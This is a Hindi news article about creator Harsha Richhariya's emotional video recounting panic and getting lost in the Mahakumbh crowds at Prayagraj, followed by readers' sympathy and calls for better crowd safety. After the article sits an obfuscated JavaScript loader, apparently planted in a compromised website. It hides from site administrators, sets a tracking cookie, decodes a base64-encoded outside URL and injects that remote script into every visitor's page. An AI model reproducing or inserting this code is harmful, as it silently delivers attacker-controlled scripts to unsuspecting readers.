Prayagraj | सोशल मीडिया पर अक्सर अपने सकारात्मक और प्रेरणादायक कंटेंट के लिए प्रसिद्ध डिजिटल क्रिएटर हर्षा रिछारिया ने हाल ही में एक भावुक वीडियो शेयर किया है, जिसमें उन्होंने महाकुंभ के दौरान अपनी एक भयानक और दर्दनाक घटना के बारे में बताया। इस वीडियो ने सोशल मीडिया पर तहलका मचा दिया है और लोगों का दिल छू लिया है।
महाकुंभ में घटी घटनाएँ
हर्षा रिछारिया, जो कि सोशल मीडिया पर लाखों फॉलोअर्स की बीच एक बड़ी पहचान बना चुकी हैं, महाकुंभ के दौरान इलाहाबाद (अब प्रयागराज) पहुंची थीं। महाकुंभ, जो हर 12 साल में आयोजित होता है, एक विशाल और ऐतिहासिक धार्मिक मेला है, जिसमें लाखों श्रद्धालु गंगा, यमुन और सरस्वती नदियों के संगम स्थल पर स्नान करने आते हैं।
हर्षा ने वीडियो में बताया कि जब वह संगम घाट पर पहुंची, तो वहाँ की अत्यधिक भीड़ और अव्यवस्था ने उन्हें पूरी तरह से घेर लिया। उन्होंने कहा, “मैंने कभी नहीं सोचा था कि महाकुंभ जैसी जगह पर इतनी भीड़ और अव्यवस्था हो सकती है। अचानक, मुझे ऐसा महसूस हुआ जैसे मैं खो गई हूं। चारों ओर लोग ही लोग थे, और मैं खुद को कहीं से भी नहीं पहचान पा रही थी।”
भीड़ और डर ने किया था बेहाल
हर्षा ने बताया कि एक समय पर वह इतनी घबराई हुई थीं कि उन्हें अपने आसपास की कोई समझ नहीं आ रही थी। भारी भीड़ और उथल-पुथल के बीच, उनका फोन भी खो गया, जिससे उनका और उनके सामान का सम्पर्क टूट गया। वह कहती हैं, “भीड़ में मैं इतना खो गई थी कि मुझे समझ ही नहीं आ रहा था कि मैं कहाँ हूँ। यह वाकई बहुत डरावना था। मैंने सोचा था कि सब कुछ आसानी से हो जाएगा, लेकिन हालात कुछ और थे।”
साथियों और स्थानीय लोगों की मदद से मिली राहत
हर्षा ने आगे बताया कि जब स्थिति और भी जटिल हो गई, तो उनकी मदद के लिए कुछ स्थानीय लोग और उनके कुछ साथियों ने सामने आकर उनका मार्गदर्शन किया। वह बताती हैं, “जब मुझे लगा कि सब कुछ खत्म हो गया है, तो कुछ अच्छे लोग सामने आए और उन्होंने मेरी मदद की। उन्होंने मुझे ढूंढकर सुरक्षित स्थान पर पहुँचाया। इस अनुभव ने मुझे यह सिखाया कि जब भी हम किसी बड़े आयोजन का हिस्सा बनते हैं, तो हमें अपनी सुरक्षा और मानसिक शांति पर विशेष ध्यान देना चाहिए।”
हर्षा ने वीडियो में अपनी भावनाओं को व्यक्त करते हुए कहा, “यह अनुभव मेरे लिए बहुत बड़ा सीख था। महाकुंभ जैसी जगहों पर जब इतनी भीड़ होती है, तो हमें हर कदम पर सावधानी बरतनी चाहिए। अगर मैं उस समय मदद नहीं पाती, तो मेरा क्या होता, यह मैं नहीं कह सकती। लेकिन अब मैं खुद को बहुत भाग्यशाली मानती हूं कि मुझे समय रहते मदद मिली। इसके बाद मुझे यह एहसास हुआ कि जीवन की सबसे बड़ी संपत्ति हमारी सुरक्षा और मानसिक शांति है।”
सोशल मीडिया पर मिली सहानुभूति और समर्थन
हर्षा रिछारिया का यह वीडियो सोशल मीडिया पर वायरल हो गया और उनके फॉलोअर्स ने उन्हें ढांढस बंधाया। कई फॉलोअर्स ने उनके साहस और इस कठिन परिस्थिति से बाहर आने की क्षमता की सराहना की। एक यूज़र ने लिखा, “हर्षा, आप सच में प्रेरणादायक हो। इस मुश्किल समय में भी आप अपने अनुभव को साझा कर रही हो, जो कि बहुत महत्वपूर्ण है।”
वहीं, कुछ अन्य लोगों ने महाकुंभ जैसे बड़े आयोजनों में सुरक्षा के मुद्दे को उठाया और प्रशासन से यह अपील की कि इस तरह के आयोजनों में श्रद्धालुओं की सुरक्षा को प्राथमिकता दी जानी चाहिए।

कुम्भ मेले में सुरक्षा की आवश्यकता
महाकुंभ में हर साल लाखों श्रद्धालु आते हैं, और ऐसे में सुरक्षा का मुद्दा अत्यंत महत्वपूर्ण हो जाता है। हर्षा रिछारिया के अनुभव ने इस समस्या को उजागर किया और इसे एक अहम विषय बना दिया। श्रद्धालुओं के सुरक्षित स्नान और उनके सामान की सुरक्षा के लिए प्रशासन को और अधिक सतर्क रहने की आवश्यकता है।
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
